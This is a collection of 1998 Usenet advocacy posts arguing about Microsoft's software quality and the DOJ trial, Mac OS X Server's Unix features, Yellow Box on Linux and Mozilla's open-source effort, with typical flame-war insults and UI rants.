>stable than M$ OSes -- _on_the_same_hardware_. So why was a loose
>community of volunteers able to do what (supposedly) the world's best
>programming talent was unable to do?
The problem is that your only criteria for "quality" software seems to
be whether it's stable or not. You don't take usability and feature
set into account. You also don't take into account that Microsoft's
products try to meets the needs of 100 million users.
The easiest way to see the kind of programming that Microsoft does is
to look at the Contact form in Outlook 98. It is deceptively simple
with only 10 places to enter data. However, the data you enter is
broken out into more than one hundred fields.
The "Name" field is a single field where you can enter the name in
Title-First-Middle-Last-Suffix fashion or Last, Title-First-Middle
fashion. Just about any way you enter the name, Outlook will
recognize the various parts. Also, Outlook has an understanding of
names and can correctly recognize last names such as "Van Derlin"
without making the mistake of making "Van" the middle name. The end
result is that a person can easily enter a name in any format they
wish and the parts of the name will be properly identified and stored.
There is a tremendous amount of code behind this seemingly simple
interface.
The Address box is even more complicated. Outlook understands address
formats for many countries and will properly identify parts of the
address. Again, there is a tremendous amount of code running behind
this field. But the user only sees a single box where they simply
type in the address.
These interfaces are far superior to having several fields for a name
and several fields for an address. They allow users to enter a large
amount of data into a single field. Furthur, a user can enter a name
or address exactly as they received it without having to worry about
things like "is that a middle name or part of the last name" or " is
that the city or province" or "is that a zip code? 'cause it's in the
wrong place if it is" or any other confusing aspect that international
address and names present.
And what if Outlook doesn't understand what you wrote? As soon as you
leave the field a dialog box pop up with all the parts of the name or
address broken out into fields so that the user can check it.
Microsoft does this kind of thing all over the place. Once Outlook
knows the country (from the address) then it gets the proper telephone
format and insures that your telephone numbers are entered properly.
The list goes on and on.
What's also difficult is the research needed to gather all the
information.
So I think their software is of high quality because of it's high
usability (it also doesn't crash on my machine so I think it's well
written as well.)
From: Richard Tilmann <rtilmann@sagchip.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 19:45:49 +0000
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3672C7ED.E04839FE@sagchip.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com>
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Boris wrote:
>
> >I don't think it matters who wins. By the very fact that theres an ongoing
> >trial, Microsoft has already modified their behaviour. The longer the trial
> >(and the appeals) go on, the greater the likelihood that some threat to
> >Microsofts empire will emerge that MS can't respond to in the usual way.
> Microsoft has the best technical talent in the industry. Where would that threat emerge
> from?
>
> Boris
Of course they don't, Boris. Except for a few nameliners, most of their
technical staff have been assimilated from aquisitions of other
companies, or hired freash off the meat market.
I'm sure there are usual number of competant people in there as well as
the usual bunch of incompetent ones. The trouble is that they are not
designing products, the marketing and legal powers are. MS sees
software products as weapons to be used against everything non-MS,
including competitors, so called partners, and consumers. They do not
see software as a service to thier customers.
And you know where the threat is coming from, right straight off the net
in the form of open-source software. Even MicroSoft has admited that
they can't out develop the open-source model in the Holloween papers.
Message-ID: <3672BC37.53083A9@nstar.net>
Date: Sat, 12 Dec 1998 12:55:51 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com>
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Sal Denaro wrote:
> Sigh.
>
> <sarcasm>
> And of course it is beyond the realm of possibility that some Linux users that
> want to try YellowBox on OSX if YB for Linux was not available. They'll look
> at YB on MacOSX and ask "Is there a Linux version?" When the answer comes back
> as "no" they'll reattach their OS zealotry blinders to avoid being tempted by
> some unclean OS that isn't Linux. "We are the Linux users, and Linux is our OS.
> To use another OS would be sacrilege!" they'll chant.
> </sarcasm>
What is it that you don't understand about the concept of installed
base? What are fundamentally failing to grasp about existing users of an
existing OS, that you have to disparage people because of their free
choice of platform? I can't believe I'm reading of Sal Denaro's disgust
for *other people's* zealotry, Sal Denaro who fearlessly champions an
operating system release that *doesn't even exist*.
But no, this is great, you put "<chant>" around my statement. You are so
persuasive, Sal, and so interesting to talk to.
> <chant>
> >What I want is YB running on my machine. My machine runs Linux, and will
> >keep running Linux. I would switch to another operating system for a lot
> >of reasons, but YB isn't one of them.
> </chant>
>
> You have stated that you were unhappy with NeXTStep, and the NeXTStep UI.
> You have stated that you are unhappy with Apple.
> You have stated that you are not interested in writing to the YB API.
No, I *NEVER* said that I was not interested in writing to the YB API.
You go find that quote, Sal, and show it to me. Run along, little man,
run along. Show that you're not deliberately lying and stuffing my mouth
with words.
> You have stated that you are happy with Linux.
> You have stated that you are happy with the KDE and the Qt toolkit.
>
> Now answer this question: Why do you even want to run YB on Linux? It
> doesn't sound like it has much of what you are looking for. Based on your
> past complaints, I don't think you'll like it at all.
No, you're confusing things. It's *you* I don't like.
> One would wonder why you even bother reading c.s.NeXT.advocacy based on
> your past complaints with NeXT, Apple and those related technologies.
MJP
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 19:03:39 GMT
Organization: Indiana University, Bloomington
Message-ID: <74uemb$2jf$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1112980646160001@elk62.dol.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu> <74u5bd$bb4@news1.panix.com>
In article <74u5bd$bb4@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
>On 11 Dec 1998 13:40:45 GMT,
> Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>>I think what we're looking for is the full set of shell utilities,
>
>OSXS has them. Anything that is missing can be added from the BSD
>ports tree. I am willing to bet that within 90 days of OSXS shipping,
>you'll be able to download 95% of the most popular tools (not including
>X based tools) off the web in ready to install format.
They need to be included on the standard installation disk. Maybe as an
option, but they need to be there. System administrators are not going to
want to buy new Macs with OSX and then download the shell and
administration tools from the web. And they shouldn't have to, and they
would be right to refuse to do so.
>> at
>>least csh and ksh,
>
>tcsh and bash close enough?
Oh, yeah, that should be close enough. Except you also need sh, or a sh
alias to bash, since that's often used as a default and loaded up by a
script to make sure it will work the way the programmer expects it to
work.
>>the X Windowing System easily available,
>
>You'll have to go 3rd party for now.
I suppose that's not as important as the shell utilities. But X is a part
of the Unix world, so if Apple wants to play in the Unix world, they're
going to need X. I know I'm going to want to be able to compile and run
things like GNUPlot.
>> multiple
>>password-protected user accounts,
>
>Has it. Fully multi-user just like any other BSD Unix.
The reason I wondered is the average home user probably doesn't want to
boot up and get blasted with a
username:
password:
How are they going to work that?
>>and a directory structure that includes
>>things like /bin, /usr, /etc, etc.
>
>Ditto.
And the average user probably doesn't want to click on "My Hard Drive" and
see
#.mrg...login* root4.0/
DXsession* root4.0B/
FMG_LOCAL_PARAM_LIBRARY.KNL rz4root/
Mail/ rz5root/
N/ sbin/
News/ scr/
X/ scr2/
Xusr/ scr3/
bin@ scr4/
etc. Any idea what they're going to do about that? It probably wouldn't
be that hard to clean up, as long as they don't try to hard to keep the
Finder paradigm. Excellent though it may be, it looks a little junky
unless you stuff the root directory into a Folder to hide it.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 19:06:03 GMT
Organization: Indiana University, Bloomington
Message-ID: <74ueqr$2jm$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <adtF3uIvr.Lyw@netcom.com> <74tvpp$1nk$1@jetsam.uits.indiana.edu> <74u6o3$jid$1@remarQ.com>
In article <74u6o3$jid$1@remarQ.com>,
Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
>In article <74tvpp$1nk$1@jetsam.uits.indiana.edu>,
>Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>>I'm a little worried about the directory structure. Traditionally, the
>>hard drive icon represents the root directory. If you look at a Unix root
>>directory you get /bin, /usr, /etc, /dev, /home, and others. That's sort
>>of the equivalent of the System Folder, but it probably isn't what the
>>typical user wants to see first thing in the morning. Making it look
>>pretty would require either a rearrangement of the directory structure, or
>>changing the Finder's paradigm.
>
>NeXT already handled this. There's a text file, .hidden, in a directory
>that lists directories that should not be seen by a regular user
>via the finder-equivalent. In the root directory case, this file would
>have /bin, /dev, and the rest in it. The GUI file browser would not show
>any of these directories to the user, but you would still see them
>on the command line, or you could turn off a preferences setting and
>see them in your GUI.
That sounds reasonable.
Except Unix systems usually seem to stuff all their useful applications
into /bin, along with two hundred shell utilities and various library
directories. I've never liked that, because it's too hard to take a quick
tour of the system and see what they have that I can use. Does Apple have
a better idea?
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: Macghod@concentric.net (Steve)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 12 Dec 1998 11:36:56 -0800
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74shuc$equ$1@joxer.acsu.buffalo.edu> <74snkc$tpt$1@flotsam.uits.indiana.edu> <74u01d$otp$1@joxer.acsu.buffalo.edu> <74u1ai$1qb$1@jetsam.uits.indiana.edu>
Organization: Concentric
Message-ID: <Macghod-1212981136570001@206.133.187.30>
In article <74u1ai$1qb$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> but greater than 4% for total market share.
Sorry, Apple's total marketshare IS NOT greater than %4. I personally
thought its last quarter would rise from %3 to %4, but the only figure I
heard for the last quarter was %3.
And before you start crying "but you forget retail was..". How many
people buy from retail???? Almost all of Dell and Gateways sales are mail
order which isnt included in retail. So dont give me this retail crap,
give total worldwide marketshare
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 20:31:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74ujrs$faj@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net>
On Sat, 12 Dec 1998 12:55:51 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> <sarcasm>
>> And of course it is beyond the realm of possibility that some Linux users that
>> want to try YellowBox on OSX if YB for Linux was not available. They'll look
>> at YB on MacOSX and ask "Is there a Linux version?" When the answer comes back
>> as "no" they'll reattach their OS zealotry blinders to avoid being tempted by
>> some unclean OS that isn't Linux. "We are the Linux users, and Linux is our OS.
>> To use another OS would be sacrilege!" they'll chant.
>> </sarcasm>
>What is it that you don't understand about the concept of installed
>base?
What is it that *you* don't understand about the concept of finite resources?
Why should Apple pull people off of development of OSX for its current installed
base, or the runtime for the _largest_ installed user base (windows) before it
has even resolved the issue of free runtimes?
>What are fundamentally failing to grasp about existing users of an
>existing OS, that you have to disparage people because of their free
>choice of platform?
Did you see the <sarcasm> </sarcasm> tags? I was in no way disparaging Linux
users. Would you like to talk to some people from LXNY that I've helped get
jobs? Would you like to talk to a teacher at my old high school who I've helped
install Linux as a proxy server for the staff LAN?
No one is saying that YB for Linux is a bad idea, what we are saying is that
it may not make sense to develop it now.
>I can't believe I'm reading of Sal Denaro's disgust
>for *other people's* zealotry, Sal Denaro who fearlessly champions an
>operating system release that *doesn't even exist*.
And all of those developers who have installed DR1 and DR2 are illusions?
Where have I demonstrated zealotry? I think I have made it abundantly clear
that my objection to porting YB to Linux at this time has nothing to do with
Linux and everything to do with Apple making the best use of its resources
to ship product.
In the past I've stated a number of things, (good and bad) about a number
of OS products. Heck, a few days ago I pointed out that your comment about
the lack of support for hardware accelerated X servers under Linux had more
to do with XFree86 than anything else and users looking for accelerated X
server can buy them from Xig as well as other companies.
>> You have stated that you were unhappy with NeXTStep, and the NeXTStep UI.
>> You have stated that you are unhappy with Apple.
>> You have stated that you are not interested in writing to the YB API.
>
>No, I *NEVER* said that I was not interested in writing to the YB API.
And after YB ships, what will keep you from installing it on your machine?
According to your headers you are running Mozilla 4.05 [en] (Win95; I).
If you are not willing to install a new OS to run YB, then you can install
under Win95. You have a choice, install it on your current machine under
an OS you already have or you can install a new OS for it. (your 3rd choice
is to ask Apple for a Linux version and wait and see if they have any
plans to do one. If you don't want to wait, go back and look at your first
two options)
>You go find that quote, Sal, and show it to me. Run along, little man,
>run along. Show that you're not deliberately lying and stuffing my mouth
>with words.
Did you or did you not state that "YB losses because it is based on Obj-C"?
And even if you didn't say than, it is clear that you were unhappy with the
NeXT UI. If you didn't like the UI, why do you want it on Linux?
>> Now answer this question: Why do you even want to run YB on Linux? It
>> doesn't sound like it has much of what you are looking for. Based on your
>> past complaints, I don't think you'll like it at all.
>No, you're confusing things. It's *you* I don't like.
I'll take that as a complement.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <cirby-2511981622470001@pm61-13.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <cirby-2311981742100001@pm56-03.magicnet.net> <365AFE15.F10C3CB5@spamtoNull.com> <19981124181649165387@ts1-13.aug.com> <365C5B84.56D81CAB@spamtoNull.com>
Date: Mon, 07 Dec 1998 15:49:26 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:26 JST
Organization: Global Online Japan
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> So, then, IBM, Compaq, Gateway, Dell, Micron, etc. ad infinitum, don't
> count?
Not when one company (Microsoft, since you can't seem to remember) has
enough power in the market to force them into things like per-processor
licensing and keep them from modifying the startup screens of the
computers those company actually produced.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
Subject: MacOS & Windows UIs suck dung beatle dung.
Message-ID: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net>
Date: Sat, 12 Dec 1998 17:45:04 -0500
NNTP-Posting-Date: Sat, 12 Dec 1998 17:40:51 EDT
Organization: Northeast Region--MediaOne
I've had it. These other UIs just blow chunks to no end. Thankfully for
mac contact there is at least greg's browser. Is there any non yellow box
browser equivalent on the windows side? I know there's one that's based on
yellow box (by eodian?), but I finally have this piece of garbage excuse for
an OS (win98) working without bombing every 2 seconds, and don't want to put
on my old beta of yellow box and jeopardize that, so that's why I'm looking
for a non yellow box variant.
UG, these shortsighted UI sloths should all be taken out back and have their
arms cut off for putting forth their plagues of bad taste and design. Blah.
(Well that rant made me feel a little better :)
Message-ID: <3672F21A.D96171F8@nstar.net>
Date: Sat, 12 Dec 1998 16:45:46 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
[cut]
> UG, these shortsighted UI sloths should all be taken out back and have their
> arms cut off for putting forth their plagues of bad taste and design. Blah.
>
> (Well that rant made me feel a little better :)
I was starting to wonder...we haven't been treated to this stuff for
many moons. I'm glad to see that UI ranting is back in fashion now that
we've regained our mascot.
MJP
Message-ID: <3672F4B6.4621878E@nstar.net>
Date: Sat, 12 Dec 1998 16:56:54 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <slrn7724vs.23m.jedi@dementia.mishnet> <74u5bg$bb4@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
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Sal Denaro wrote:
> That would be pure conjecture, either for or against. How do you expect me to
> debate what might have happened if Netscape hadn't made their product
> opensource with no facts for or against?
Well, after floating pure conjecture to the effect that Netscape had
done no better by going Open Source than without, one might ask you the
same question. And one has.
Perhaps you'll be interested in a CBS Marketwatch article (which you've
already seen, of course, since you read Slashdot) which disagrees with
your assessment of Netscape's Open Source move.
http://cbs.marketwatch.com/archive/19981209/news/current/rebecca.htx?source=blq/yhoo
MJP
From: mawarkus@t-online.de (Matthias Warkus)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 12 Dec 1998 22:20:01 GMT
Organization: Royal Space Navy / Question Mark Software
Message-ID: <74uq6h$90j$5@news01.btx.dtag.de>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sheldon Gartner schrieb:
>
> On 8 Dec 1998 16:58:10 GMT, mcgredo@otter.mbay.net (Donald R.
> McGregor) wrote:
>
> >for this to work Apple would have to port the imaging model and other
> >stuff to Linux, not use X. It doesn't do Apple any good to have all
> >the programs those Linux guys write run only on Linux.
>
> Doing that is the only thing that stands between Apple and oblivion.
> They still have time to be the Netscape of Linux.
Quoting the c.o.l.a Frequently Rehashed Topics, section 5:
Q5.1.: Do you know that for reason X, Apple *must* support Linux?
A: This relates well to question 1.2. and 2.2. Actually, often this
argument is brought up due to the thoroughly flawed way of thinking of
the software and/or OS market as a zero-sum game between Microsoft on
one side and "all the others, whoever they may be" on the other side.
This leads to people thinking that Apple or some other "opponent" of
Microsoft seems to need to "team up" with Linux to "fight" Microsoft,
since Linux apparently is the spearhead of the "offensive" against
Microsoft.
Nothing of all of this is true. Linux was not specifically made to
engage Microsoft in any competition whatsoever, and those who call for
a major company to somehow grab a hold of the direction Linux is going
are not only underestimating the power of the Linux community as such,
but also denying the right of Linux to go its own way.
> >There's no driving need for YB to be open source. It's a pretty
> >high quality set of code as it is, and Apple/NeXT is fairly good
> >about moving it forward. (Though it would be nice to have the
> >ditched kits open sourced.)
>
> No. It'd have to be open source to get any momentum on Linux, I
> suspect.
Quoting the c.o.l.a Frequently Rehashed Topics, section 3:
Q3.1.: Come on now. Linux users will never buy commercial software.
Why bother about this OS since you can't make a buck with it?
A: Effectively, Linux users are a big market for commercial software
right now, and they prove it each day by buying proprietary office
suites, X Window Servers, mathematics packages, commercial sound
drivers or even commercial games. Whoever claims that Linux will never
be a market for shrink-wrapped software has obviously missed something
or is blatantly lying.
HTH, Sheldon, and I suppose that quoting the FRT here is at least a
mild hint at whether these issues need to be rehashed.
Second hint: The answer is no.
mawa
--
Matthias Warkus | mawa@iname.com | Dyson Spheres for sale!
My Geek Code is no longer in my .signature. It's available on e-mail
request. It's sad to live in a world where knowing how to programme
your VCR actually lowers your social status...
####################################################################
From: mawarkus@t-online.de (Matthias Warkus)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 12 Dec 1998 22:20:07 GMT
Organization: Royal Space Navy / Question Mark Software
Message-ID: <74uq6n$90j$7@news01.btx.dtag.de>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <smileyy-0912981134080001@209.50.122.242> <74nl6i$fdc$6@blue.hex.net>
Mime-Version: 1.0
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Christopher Browne schrieb:
[talking about Mozilla]
> It is quite disappointing that the (nearly) nine months since the March
> code release *hasn't* resulted in a formal "production" release,
> although I quite understand that there has been some substantial
> rearchitecture effort which has put off release.
Yes. They needed to first architecture the whole hierarchy of the
developer "bazaar"; they needed to architecture a way to process the
immense amounts of feedback (in the first 24 hours after the release
of Mozilla as open source, 20,000 people commented on the code). They
needed source tree control and an infrastructure for keeping the trees
stable, plus a bug tracker.
And this is just organisation.
Mozilla is going to bring us a modular, scriptable structure that
features NGLayout, Aurora, a chat client, support for multiple plug-in
Java VMs... countless things.
*And* they need to clean up the spaghetti code with that.
It's a moby effort, really.
mawa
--
Matthias Warkus | mawa@iname.com | Dyson Spheres for sale!
My Geek Code is no longer in my .signature. It's available on e-mail
request. It's sad to live in a world where knowing how to programme
your VCR actually lowers your social status...
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3vKso.7Es@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
Date: Sat, 12 Dec 1998 23:19:35 GMT
Sender: adt@netcom9.netcom.com
taiQ (pit@iohk.SPAM-NOT.com) wrote:
: As for now PerfectOffice for Linux hasn't even shipped or even been
: reviewed publicly. I believe Corel has worked with KDE in the past
: (IIRC their Linux stations ship with it) and it remains to be seen
: whether PerfectOffice will be KDE or GNOME "optimized". I think it's
: likely to support either of those, even both. In any case it would
: appear that Corel is putting Linux ahead of other near-compatible
: platforms, incl. Mac OS X w/ BSD.
Isn't KDE or GNOME open source? Open source code has been ported to
Rhapsody and there is no reason to suspect this will not continue.
: With YB on Linux Corel could be persuaded to use YB in PerfectOffice
: and they'd have a product reaching all YB-capable platforms without
: tedious re-tuning. The brief emergence of Corel's JavaOffice showed
: that they might like the idea. I'm not trying to discredit your idea
: of easy porting between Linux and BSD but merely trying to point out
: that YB would make such porting practically unnecessary while offering
: an avenue for quicker, easier further development. And by extension,
: I'm trying to point out that Yellow Box for Linux would make sense.
: :-)
I agree that making Yellow Box available on all viable platforms would be
a good thing. I'm merely suggesting that MacOS X is free to leverage open
source code and that developers can target both Linux and MacOS X with or
without Yellow Box on Linux. MacOS X apps do not have to use Apple
specific technologies.
: I'm not certain Apple can beat Linux (w/ practically all hardware
: platforms supported) in the momentum game, but let's suppose you're
: correct. (and Apple can churn out and sell G3 and G4 machines faster
: than Linux CD-ROMs find permanent homes)
:
: In this scenario it would be very attractive for the *nix app vendors
: to make the Apple's flavour of Unix a high priority. But how many
: PowerMac 'end users' would have bought a G3 or G4 to run Unix apps in
: the first place? Apple is promising worthy user experience only with
: Carbon, Java or Yellow Box, the Unix-ness is downplayed even more than
: the existence of Yellow Box! <g>
If there is so little interest in running Unix apps why do folks suggest
that Linux can become a viable general purpose desktop? :-) Personally I
think the MacOS X advantage will be in the ability to run both the
shrinkwrapped apps and the Unix apps, I'll reference the chemisty example
in my previous post. Also consider how common it is for Linux workstations
to dual boot to Windows.
: But I don't need a web search to convince myself that Linux momentum
: is strong, that its end user friendliness in being feverishly worked
: on and that in '99 it will become a credible option to much larger
: number of consumers and even an optional OEM preload on low cost
: systems in the cut-throat market. Of course, the future remains to
: prove itself but there's also the danger of Apple doing "too little,
: too late".
OK, it is impossible to counter the argument that Apple can totally
screwup despite incredible innovations and opportunities. ;-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Date: 12 Dec 1998 23:58:56 GMT
Organization: AOL http://www.aol.com
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net>
Message-ID: <19981212185856.21488.00002218@ng-ch1.aol.com>
Actually John, there's a (believe it or not) Visual Basic version of the NeXT
filebrowser called appropriately enough, Browser.exe (I think it uses the
VBRUN100.dll)
I don't want to risk crashing my AOL session, so am not certain it runs under
Win9x, but will send it by separate e-mail.
There's also NeXTView, which I've mentioned before--I think it's just a dock
clone, and it's apparently not freely distributed as I'd thought, but here's
the URL:
http://www.multimania.com/thdj/Francais/index.htm
replace Francais with English of course if you don't speak French.
Another dock clone is Litestep, <www.litestep.net> but it's just glitz with
little functionality.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 00:14:33 -0000
Message-ID: <MPG.10dd170ae6760c67989736@news.dircon.co.uk>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net>
In article <jpolaski-1212980213230001@d149-109.ce.mediaone.net>, Jim
Polaski wrote...
>In article <3671fcae$0$226@nntp1.ba.best.com>, "Boris"
><XXXboris@movil.comXXX> wrote:
>> Microsoft has the best technical talent in the industry.
Nah, they have the best _marketing_ talent. If they relied on technical
talent to be successful, MSDOS would have put them out of business years
ago. Let's not even mention Windowsx.x, or my new Christmas hat *<:)
>If that's the case, why has NT has so many security holes?
Ever heard of BUGTRAQ or rootshell?
>Why did M$ publically state that Win 98 fixed 3000 "Bugs" in 95...
I'm just guessing, but it could be that they fixed 3000 bugs in Win95.
FYI, there are over 600 documented (at microsoft.com) bug fixes in NT4's
SP4.
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <jinx6568-1212981923590001@arc1a141.bf.sover.net>
